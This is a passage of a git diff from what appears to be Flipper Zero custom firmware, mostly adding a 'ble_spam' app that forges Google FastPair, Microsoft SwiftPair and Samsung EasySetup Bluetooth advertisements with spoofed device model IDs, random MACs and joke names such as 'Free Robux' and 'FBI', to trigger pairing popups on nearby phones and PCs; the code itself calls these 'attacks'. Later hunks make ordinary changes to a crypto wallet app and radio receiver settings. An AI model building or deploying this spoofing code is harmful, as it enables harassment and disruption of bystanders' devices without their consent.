0x00); +} diff --git a/applications/external/ble_spam/protocols/easysetup.h b/applications/external/ble_spam/protocols/easysetup.h new file mode 100644 index 000000000..4c9458538 --- /dev/null +++ b/applications/external/ble_spam/protocols/easysetup.h @@ -0,0 +1,25 @@ +#pragma once +#include "_base.h" + +// Hacked together by @Willy-JL and @Spooks4576 +// Research by @Spooks4576 + +typedef enum { + EasysetupTypeBuds, + EasysetupTypeWatch, + EasysetupTypeCOUNT, +} EasysetupType; + +typedef struct { + EasysetupType type; + union { + struct { + uint32_t model; + } buds; + struct { + uint8_t model; + } watch; + } data; +} EasysetupCfg; + +extern const Protocol protocol_easysetup; diff --git a/applications/external/ble_spam/protocols/easysetup_scenes.h b/applications/external/ble_spam/protocols/easysetup_scenes.h new file mode 100644 index 000000000..59814a728 --- /dev/null +++ b/applications/external/ble_spam/protocols/easysetup_scenes.h @@ -0,0 +1,4 @@ +ADD_SCENE(easysetup_buds_model, EasysetupBudsModel) +ADD_SCENE(easysetup_buds_model_custom, EasysetupBudsModelCustom) +ADD_SCENE(easysetup_watch_model, EasysetupWatchModel) +ADD_SCENE(easysetup_watch_model_custom, EasysetupWatchModelCustom) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 38759a623..1e7c2920c 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -1,44 +1,57 @@ #include "fastpair.h" -#include "_registry.h" +#include "_protocols.h" // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction -const char* fastpair_get_name(const BleSpamProtocolCfg* _cfg) { - const FastpairCfg* cfg = &_cfg->fastpair; - UNUSED(cfg); +const struct { + uint32_t value; + const char* name; +} models[] = { + // Genuine devices + {0xCD8256, "Bose NC 700"}, + {0xF52494, "JBL Buds Pro"}, + {0x718FA4, "JBL Live 300TWS"}, + {0x821F66, "JBL Flip 6"}, + {0x92BBBD, "Pixel Buds"}, + {0xD446A7, "Sony XM5"}, + {0x2D7A23, "Sony WF-1000XM4"}, + {0x0E30C3, "Razer Hammerhead TWS"}, + {0x72EF8D, "Razer Hammerhead TWS X"}, + {0x72FB00, "Soundcore Spirit Pro GVA"}, + + // Custom debug popups + {0xD99CA1, "Flipper Zero"}, + {0x77FF67, "Free Robux"}, + {0xAA187F, "Free VBucks"}, + {0xDCE9EA, "Rickroll"}, + {0x87B25F, "Animated Rickroll"}, + {0xF38C02, "Boykisser"}, + {0x1448C9, "BLM"}, + {0xD5AB33, "Xtreme"}, + {0x0C0B67, "Xtreme Cta"}, + {0x13B39D, "Talking Sasquach"}, + {0xAA1FE1, "ClownMaster"}, + {0x7C6CDB, "Obama"}, + {0x005EF9, "Ryanair"}, + {0xE2106F, "FBI"}, + {0xB37A62, "Tesla"}, +}; +const uint8_t models_count = COUNT_OF(models); + +static const char* fastpair_get_name(const ProtocolCfg* _cfg) { + UNUSED(_cfg); return "FastPair"; } -void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { +static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL; - uint32_t model_id; - if(cfg && cfg->model_id != 0x000000) { - model_id = cfg->model_id; + uint32_t model; + if(cfg && cfg->model != 0x000000) { + model = cfg->model; } else { - const uint32_t models[] = { - // Genuine devices - 0xCD8256, // Bose NC 700 - 0xF52494, // JBL Buds Pro - 0x718FA4, // JBL Live 300TWS - 0x821F66, // JBL Flip 6 - 0x92BBBD, // Pixel Buds - 0xD446A7, // Sony XM5 - - // Custom debug popups - 0xD99CA1, // Flipper Zero - 0x77FF67, // Free Robux - 0xAA187F, // Free VBucks - 0xDCE9EA, // Rickroll - 0x87B25F, // Animated Rickroll - 0xF38C02, // Boykisser - 0x1448C9, // BLM - 0xD5AB33, // Xtreme - 0x13B39D, // Talking Sasquach - 0xAA1FE1, // ClownMaster - }; - model_id = models[rand() % COUNT_OF(models)]; + model = models[rand() % models_count].value; } uint8_t size = 14; @@ -54,9 +67,9 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtoc packet[i++] = 0x16; // AD Type (Service Data) packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair) packet[i++] = 0xFE; // ... - packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID - packet[i++] = (model_id >> 0x08) & 0xFF; // ... - packet[i++] = (model_id >> 0x00) & 0xFF; // ... + packet[i++] = (model >> 0x10) & 0xFF; + packet[i++] = (model >> 0x08) & 0xFF; + packet[i++] = (model >> 0x00) & 0xFF; packet[i++] = 2; // Size packet[i++] = 0x0A; // AD Type (Tx Power Level) @@ -66,8 +79,170 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtoc *_packet = packet; } -const BleSpamProtocol ble_spam_protocol_fastpair = { +enum { + _ConfigExtraStart = ConfigExtraStart, + ConfigModel, + ConfigInfoRequire, + ConfigCOUNT, +}; +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(index) { + case ConfigModel: + scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel); + break; + case ConfigInfoRequire: + break; + default: + ctx->fallback_config_enter(ctx, index); + break; + } +} +static void model_changed(VariableItem* item) { + FastpairCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->model = models[index].value; + variable_item_set_current_value_text(item, models[index].name); + } else { + cfg->model = 0x000000; + variable_item_set_current_value_text(item, "Random"); + } +} +static void fastpair_extra_config(Ctx* ctx) { + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + VariableItemList* list = ctx->variable_item_list; + VariableItem* item; + size_t value_index; + + item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, cfg); + const char* model_name = NULL; + char model_name_buf[9]; + if(cfg->model == 0x000000) { + model_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < models_count; i++) { + if(cfg->model == models[i].value) { + model_name = models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model); + model_name = model_name_buf; + value_index = models_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + + variable_item_list_add(list, "Requires Google services", 0, NULL, NULL); + + variable_item_list_set_enter_callback(list, config_callback, ctx); +} + +static uint8_t fastpair_config_count(const ProtocolCfg* _cfg) { + UNUSED(_cfg); + return ConfigCOUNT - ConfigExtraStart - 1; +} + +const Protocol protocol_fastpair = { .icon = &I_android, .get_name = fastpair_get_name, .make_packet = fastpair_make_packet, + .extra_config = fastpair_extra_config, + .config_count = fastpair_config_count, }; + +static void model_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + switch(index) { + case 0: + cfg->model = 0x000000; + scene_manager_previous_scene(ctx->scene_manager); + break; + case models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom); + break; + default: + cfg->model = models[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_fastpair_model_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, model_callback, ctx); + if(cfg->model == 0x000000) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < models_count; i++) { + submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx); + if(!found && cfg->model == models[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx); + if(!found) { + found = true; + selected = models_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_fastpair_model_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void model_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_fastpair_model_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Model Code"); + + ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF; + ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF; + ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_fastpair_model_custom_on_exit(void* _ctx) { + Ctx* ctx = _ctx; + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + cfg->model = + (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); +} diff --git a/applications/external/ble_spam/protocols/fastpair.h b/applications/external/ble_spam/protocols/fastpair.h index 46162fbc5..c989f3f13 100644 --- a/applications/external/ble_spam/protocols/fastpair.h +++ b/applications/external/ble_spam/protocols/fastpair.h @@ -5,7 +5,7 @@ // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction typedef struct { - uint32_t model_id; + uint32_t model; } FastpairCfg; -extern const BleSpamProtocol ble_spam_protocol_fastpair; +extern const Protocol protocol_fastpair; diff --git a/applications/external/ble_spam/protocols/fastpair_scenes.h b/applications/external/ble_spam/protocols/fastpair_scenes.h new file mode 100644 index 000000000..9bd0fd2ce --- /dev/null +++ b/applications/external/ble_spam/protocols/fastpair_scenes.h @@ -0,0 +1,2 @@ +ADD_SCENE(fastpair_model, FastpairModel) +ADD_SCENE(fastpair_model_custom, FastpairModelCustom) diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index 60d8808d4..b204f8eef 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -1,21 +1,20 @@ #include "swiftpair.h" -#include "_registry.h" +#include "_protocols.h" // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair -const char* swiftpair_get_name(const BleSpamProtocolCfg* _cfg) { - const SwiftpairCfg* cfg = &_cfg->swiftpair; - UNUSED(cfg); +static const char* swiftpair_get_name(const ProtocolCfg* _cfg) { + UNUSED(_cfg); return "SwiftPair"; } -void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { +static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL; - const char* display_name; - if(cfg && cfg->display_name[0] != '\0') { - display_name = cfg->display_name; + const char* name; + if(cfg && cfg->name[0] != '\0') { + name = cfg->name; } else { const char* names[] = { "Assquach💦", @@ -25,11 +24,11 @@ void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProto "👉👌", "🔵🦷", }; - display_name = names[rand() % COUNT_OF(names)]; + name = names[rand() % COUNT_OF(names)]; } - uint8_t display_name_len = strlen(display_name); + uint8_t name_len = strlen(name); - uint8_t size = 7 + display_name_len; + uint8_t size = 7 + name_len; uint8_t* packet = malloc(size); uint8_t i = 0; @@ -40,15 +39,83 @@ void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProto packet[i++] = 0x03; // Microsoft Beacon ID packet[i++] = 0x00; // Microsoft Beacon Sub Scenario packet[i++] = 0x80; // Reserved RSSI Byte - memcpy(&packet[i], display_name, display_name_len); // Display Name - i += display_name_len; + memcpy(&packet[i], name, name_len); + i += name_len; *_size = size; *_packet = packet; } -const BleSpamProtocol ble_spam_protocol_swiftpair = { +enum { + _ConfigExtraStart = ConfigExtraStart, + ConfigName, + ConfigInfoRequire, + ConfigCOUNT, +}; +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(index) { + case ConfigName: + scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName); + break; + case ConfigInfoRequire: + break; + default: + ctx->fallback_config_enter(ctx, index); + break; + } +} +static void swiftpair_extra_config(Ctx* ctx) { + SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; + VariableItemList* list = ctx->variable_item_list; + VariableItem* item; + + item = variable_item_list_add(list, "Display Name", 0, NULL, NULL); + variable_item_set_current_value_text(item, cfg->name[0] != '\0' ? cfg->name : "Random"); + + variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL); + + variable_item_list_set_enter_callback(list, config_callback, ctx); +} + +static uint8_t swiftpair_config_count(const ProtocolCfg* _cfg) { + UNUSED(_cfg); + return ConfigCOUNT - ConfigExtraStart - 1; +} + +const Protocol protocol_swiftpair = { .icon = &I_windows, .get_name = swiftpair_get_name, .make_packet = swiftpair_make_packet, + .extra_config = swiftpair_extra_config, + .config_count = swiftpair_config_count, }; + +static void name_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_swiftpair_name_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; + TextInput* text_input = ctx->text_input; + text_input_reset(text_input); + + text_input_set_header_text(text_input, "Leave empty for random"); + + text_input_set_result_callback( + text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true); + + text_input_set_minimum_length(text_input, 0); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput); +} +bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_swiftpair_name_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/ble_spam/protocols/swiftpair.h b/applications/external/ble_spam/protocols/swiftpair.h index c3ef21540..e48f604a2 100644 --- a/applications/external/ble_spam/protocols/swiftpair.h +++ b/applications/external/ble_spam/protocols/swiftpair.h @@ -5,7 +5,7 @@ // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair typedef struct { - char display_name[25]; + char name[25]; } SwiftpairCfg; -extern const BleSpamProtocol ble_spam_protocol_swiftpair; +extern const Protocol protocol_swiftpair; diff --git a/applications/external/ble_spam/protocols/swiftpair_scenes.h b/applications/external/ble_spam/protocols/swiftpair_scenes.h new file mode 100644 index 000000000..040802de3 --- /dev/null +++ b/applications/external/ble_spam/protocols/swiftpair_scenes.h @@ -0,0 +1 @@ +ADD_SCENE(swiftpair_name, SwiftpairName) diff --git a/applications/external/ble_spam/scenes/_scenes.h b/applications/external/ble_spam/scenes/_scenes.h new file mode 100644 index 000000000..dbc035b54 --- /dev/null +++ b/applications/external/ble_spam/scenes/_scenes.h @@ -0,0 +1,3 @@ +ADD_SCENE(main, Main) +ADD_SCENE(config, Config) +#include "../protocols/_scenes.h" diff --git a/applications/external/ble_spam/scenes/_setup.c b/applications/external/ble_spam/scenes/_setup.c new file mode 100644 index 000000000..beaa4c4b2 --- /dev/null +++ b/applications/external/ble_spam/scenes/_setup.c @@ -0,0 +1,30 @@ +#include "_setup.h" + +// Generate scene on_enter handlers array +#define ADD_SCENE(name, id) scene_##name##_on_enter, +void (*const scene_on_enter_handlers[])(void*) = { +#include "_scenes.h" +}; +#undef ADD_SCENE + +// Generate scene on_event handlers array +#define ADD_SCENE(name, id) scene_##name##_on_event, +bool (*const scene_on_event_handlers[])(void*, SceneManagerEvent) = { +#include "_scenes.h" +}; +#undef ADD_SCENE + +// Generate scene on_exit handlers array +#define ADD_SCENE(name, id) scene_##name##_on_exit, +void (*const scene_on_exit_handlers[])(void*) = { +#include "_scenes.h" +}; +#undef ADD_SCENE + +// Initialize scene handlers configuration structure +const SceneManagerHandlers scene_handlers = { + .on_enter_handlers = scene_on_enter_handlers, + .on_event_handlers = scene_on_event_handlers, + .on_exit_handlers = scene_on_exit_handlers, + .scene_num = SceneCOUNT, +}; diff --git a/applications/external/ble_spam/scenes/_setup.h b/applications/external/ble_spam/scenes/_setup.h new file mode 100644 index 000000000..fd665ac0b --- /dev/null +++ b/applications/external/ble_spam/scenes/_setup.h @@ -0,0 +1,28 @@ +#pragma once + +#include + +// Generate scene id and total number +#define ADD_SCENE(name, id) Scene##id, +typedef enum { +#include "_scenes.h" + SceneCOUNT, +} Scene; +#undef ADD_SCENE + +extern const SceneManagerHandlers scene_handlers; + +// Generate scene on_enter handlers declaration +#define ADD_SCENE(name, id) void scene_##name##_on_enter(void*); +#include "_scenes.h" +#undef ADD_SCENE + +// Generate scene on_event handlers declaration +#define ADD_SCENE(name, id) bool scene_##name##_on_event(void*, SceneManagerEvent); +#include "_scenes.h" +#undef ADD_SCENE + +// Generate scene on_exit handlers declaration +#define ADD_SCENE(name, id) void scene_##name##_on_exit(void*); +#include "_scenes.h" +#undef ADD_SCENE diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c new file mode 100644 index 000000000..354de6399 --- /dev/null +++ b/applications/external/ble_spam/scenes/config.c @@ -0,0 +1,75 @@ +#include "../ble_spam.h" + +#include "protocols/_protocols.h" + +static void _config_bool(VariableItem* item) { + bool* value = variable_item_get_context(item); + *value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, *value ? "ON" : "OFF"); +} +static void config_bool(VariableItemList* list, const char* name, bool* value) { + VariableItem* item = variable_item_list_add(list, name, 2, _config_bool, value); + variable_item_set_current_value_index(item, *value); + variable_item_set_current_value_text(item, *value ? "ON" : "OFF"); +} + +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + if(!ctx->attack->protocol) { + index--; + } else if(ctx->attack->protocol->config_count) { + uint8_t extra = ctx->attack->protocol->config_count(&ctx->attack->payload.cfg); + if(index > extra) index -= extra; + } + + switch(index) { + case ConfigRandomMac: + break; + case ConfigLedIndicator: + break; + case ConfigLockKeyboard: + ctx->lock_keyboard = true; + scene_manager_previous_scene(ctx->scene_manager); + notification_message_block(ctx->notification, &sequence_display_backlight_off); + break; + default: + break; + } +} +void scene_config_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + VariableItemList* list = ctx->variable_item_list; + variable_item_list_reset(list); + + variable_item_list_set_header(list, ctx->attack->title); + + config_bool(list, "Random MAC", &ctx->attack->payload.random_mac); + + variable_item_list_set_enter_callback(list, config_callback, ctx); + if(!ctx->attack->protocol) { + variable_item_list_add(list, "None shall escape the SINK", 0, NULL, NULL); + } else if(ctx->attack->protocol->extra_config) { + ctx->fallback_config_enter = config_callback; + ctx->attack->protocol->extra_config(ctx); + } + + config_bool(list, "LED Indicator", &ctx->led_indicator); + + variable_item_list_add(list, "Lock Keyboard", 0, NULL, NULL); + + variable_item_list_set_selected_item( + list, scene_manager_get_scene_state(ctx->scene_manager, SceneConfig)); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewVariableItemList); +} + +bool scene_config_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} + +void scene_config_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/ble_spam/scenes/main.c b/applications/external/ble_spam/scenes/main.c new file mode 100644 index 000000000..6d901e1fb --- /dev/null +++ b/applications/external/ble_spam/scenes/main.c @@ -0,0 +1,16 @@ +#include "../ble_spam.h" + +void scene_main_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewMain); +} + +bool scene_main_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} + +void scene_main_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/flipbip/application.fam b/applications/external/flipbip/application.fam index 0831ff432..2f36910ab 100644 --- a/applications/external/flipbip/application.fam +++ b/applications/external/flipbip/application.fam @@ -16,6 +16,6 @@ App( fap_category="Tools", fap_author="Struan Clark (xtruan)", fap_weburl="https://github.com/xtruan/FlipBIP", - fap_version=(1, 13), + fap_version=(1, 14), fap_description="Crypto wallet for Flipper", ) diff --git a/applications/external/flipbip/flipbip.c b/applications/external/flipbip/flipbip.c index 7a7237639..90abfb513 100644 --- a/applications/external/flipbip/flipbip.c +++ b/applications/external/flipbip/flipbip.c @@ -90,6 +90,22 @@ static void text_input_callback(void* context) { } } +static void flipbip_scene_renew_dialog_callback(DialogExResult result, void* context) { + FlipBip* app = context; + if(result == DialogExResultRight) { + app->wallet_create(app); + } else { + view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewIdMenu); + } +} + +static void flipbip_wallet_create(void* context) { + FlipBip* app = context; + furi_assert(app); + scene_manager_set_scene_state(app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New); + scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1); +} + FlipBip* flipbip_app_alloc() { FlipBip* app = malloc(sizeof(FlipBip)); app->gui = furi_record_open(RECORD_GUI); @@ -148,6 +164,17 @@ FlipBip* flipbip_app_alloc() { view_dispatcher_add_view( app->view_dispatcher, FlipBipViewIdTextInput, text_input_get_view(app->text_input)); + app->wallet_create = flipbip_wallet_create; + app->renew_dialog = dialog_ex_alloc(); + dialog_ex_set_result_callback(app->renew_dialog, flipbip_scene_renew_dialog_callback); + dialog_ex_set_context(app->renew_dialog, app); + dialog_ex_set_left_button_text(app->renew_dialog, "No"); + dialog_ex_set_right_button_text(app->renew_dialog, "Yes"); + dialog_ex_set_header( + app->renew_dialog, "Current wallet\nWill be lost.\nProceed?", 16, 12, AlignLeft, AlignTop); + view_dispatcher_add_view( + app->view_dispatcher, FlipBipViewRenewConfirm, dialog_ex_get_view(app->renew_dialog)); + // End Scene Additions return app; @@ -168,6 +195,9 @@ void flipbip_app_free(FlipBip* app) { view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewIdTextInput); submenu_free(app->submenu); + view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewRenewConfirm); + dialog_ex_free(app->renew_dialog); + view_dispatcher_free(app->view_dispatcher); furi_record_close(RECORD_GUI); diff --git a/applications/external/flipbip/flipbip.h b/applications/external/flipbip/flipbip.h index 9f5994b80..12d910497 100644 --- a/applications/external/flipbip/flipbip.h +++ b/applications/external/flipbip/flipbip.h @@ -9,12 +9,13 @@ #include #include #include +#include #include #include #include "scenes/flipbip_scene.h" #include "views/flipbip_scene_1.h" -#define FLIPBIP_VERSION "v1.13" +#define FLIPBIP_VERSION "v1.14" #define COIN_BTC 0 #define COIN_DOGE 3 @@ -31,6 +32,7 @@ typedef struct { SceneManager* scene_manager; VariableItemList* variable_item_list; TextInput* text_input; + DialogEx* renew_dialog; FlipBipScene1* flipbip_scene_1; char* mnemonic_menu_text; // Settings options @@ -45,6 +47,8 @@ typedef struct { char passphrase_text[TEXT_BUFFER_SIZE]; char import_mnemonic_text[TEXT_BUFFER_SIZE]; char input_text[TEXT_BUFFER_SIZE]; + + void (*wallet_create)(void* context); } FlipBip; typedef enum { @@ -53,6 +57,7 @@ typedef enum { FlipBipViewIdScene1, FlipBipViewIdSettings, FlipBipViewIdTextInput, + FlipBipViewRenewConfirm, } FlipBipViewId; typedef enum { @@ -86,3 +91,15 @@ typedef enum { FlipBipStatusSaveError = 12, FlipBipStatusMnemonicCheckError = 13, } FlipBipStatus; + +typedef enum { + SubmenuIndexScene1BTC = 10, + SubmenuIndexScene1ETH, + SubmenuIndexScene1DOGE, + SubmenuIndexScene1ZEC, + SubmenuIndexScene1New, + SubmenuIndexScene1Renew, + SubmenuIndexScene1Import, + SubmenuIndexSettings, + SubmenuIndexNOP, +} SubmenuIndex; diff --git a/applications/external/flipbip/icons/ButtonDown_10x5.png b/applications/external/flipbip/icons/ButtonDown_10x5.png deleted file mode 100644 index b492b926c..000000000 Binary files a/applications/external/flipbip/icons/ButtonDown_10x5.png and /dev/null differ diff --git a/applications/external/flipbip/icons/ButtonUp_10x5.png b/applications/external/flipbip/icons/ButtonUp_10x5.png deleted file mode 100644 index 5da99d01e..000000000 Binary files a/applications/external/flipbip/icons/ButtonUp_10x5.png and /dev/null differ diff --git a/applications/external/flipbip/scenes/flipbip_scene_menu.c b/applications/external/flipbip/scenes/flipbip_scene_menu.c index 928a002f7..53fb2a917 100644 --- a/applications/external/flipbip/scenes/flipbip_scene_menu.c +++ b/applications/external/flipbip/scenes/flipbip_scene_menu.c @@ -3,18 +3,8 @@ #define FLIPBIP_SUBMENU_TEXT "** FlipBIP wallet " FLIPBIP_VERSION " **" -enum SubmenuIndex { - SubmenuIndexScene1BTC = 10, - SubmenuIndexScene1ETH, - SubmenuIndexScene1DOGE, - SubmenuIndexScene1ZEC, - SubmenuIndexScene1New, - SubmenuIndexScene1Import, - SubmenuIndexSettings, - SubmenuIndexNOP, -}; - void flipbip_scene_menu_submenu_callback(void* context, uint32_t index) { + furi_assert(context); FlipBip* app = context; view_dispatcher_send_custom_event(app->view_dispatcher, index); } @@ -59,7 +49,7 @@ void flipbip_scene_menu_on_enter(void* context) { submenu_add_item( app->submenu, "Regenerate wallet", - SubmenuIndexScene1New, + SubmenuIndexScene1Renew, flipbip_scene_menu_submenu_callback, app); } else { @@ -130,9 +120,12 @@ bool flipbip_scene_menu_on_event(void* context, SceneManagerEvent event) { } else if(event.event == SubmenuIndexScene1New) { app->overwrite_saved_seed = 1; app->import_from_mnemonic = 0; - scene_manager_set_scene_state( - app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New); - scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1); + app->wallet_create(app); + return true; + } else if(event.event == SubmenuIndexScene1Renew) { + app->overwrite_saved_seed = 1; + app->import_from_mnemonic = 0; + view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewRenewConfirm); return true; } else if(event.event == SubmenuIndexScene1Import) { app->import_from_mnemonic = 1; diff --git a/applications/main/subghz/scenes/subghz_scene_receiver_config.c b/applications/main/subghz/scenes/subghz_scene_receiver_config.c index 4b88ffe5f..2d7f5014d 100644 --- a/applications/main/subghz/scenes/subghz_scene_receiver_config.c +++ b/applications/main/subghz/scenes/subghz_scene_receiver_config.c @@ -5,19 +5,21 @@ enum SubGhzSettingIndex { SubGhzSettingIndexFrequency, - SubGhzSettingIndexHopping, SubGhzSettingIndexModulation, + SubGhzSettingIndexHopping, + SubGhzSettingIndexRAWSound = SubGhzSettingIndexHopping, SubGhzSettingIndexBinRAW, + SubGhzSettingIndexRAWRSSIThreshold = SubGhzSettingIndexBinRAW, SubGhzSettingIndexIgnoreStarline, SubGhzSettingIndexIgnoreCars, SubGhzSettingIndexIgnoreMagellan, + SubGhzSettingIndexIgnorePrinceton, + SubGhzSettingIndexIgnoreNiceFlorS, SubGhzSettingIndexIgnoreWeather, SubGhzSettingIndexIgnoreTPMS, - SubGhzSettingIndexIgnorePrinceton, SubGhzSettingIndexSound, SubGhzSettingIndexResetToDefault, SubGhzSettingIndexLock, - SubGhzSettingIndexRAWThresholdRSSI, }; #define RAW_THRESHOLD_RSSI_COUNT 11 @@ -467,7 +469,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { item = variable_item_list_add( subghz->variable_item_list, - "Ignore NiceFlorS / Nice One", + "Ignore Nice Flor-S / Nice One", COMBO_BOX_COUNT, subghz_scene_receiver_config_set_niceflors, subghz);